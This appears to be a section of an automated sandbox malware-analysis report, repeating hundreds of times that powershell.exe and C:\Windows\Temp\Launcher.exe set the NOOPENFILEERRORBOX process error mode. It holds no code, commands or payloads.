Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
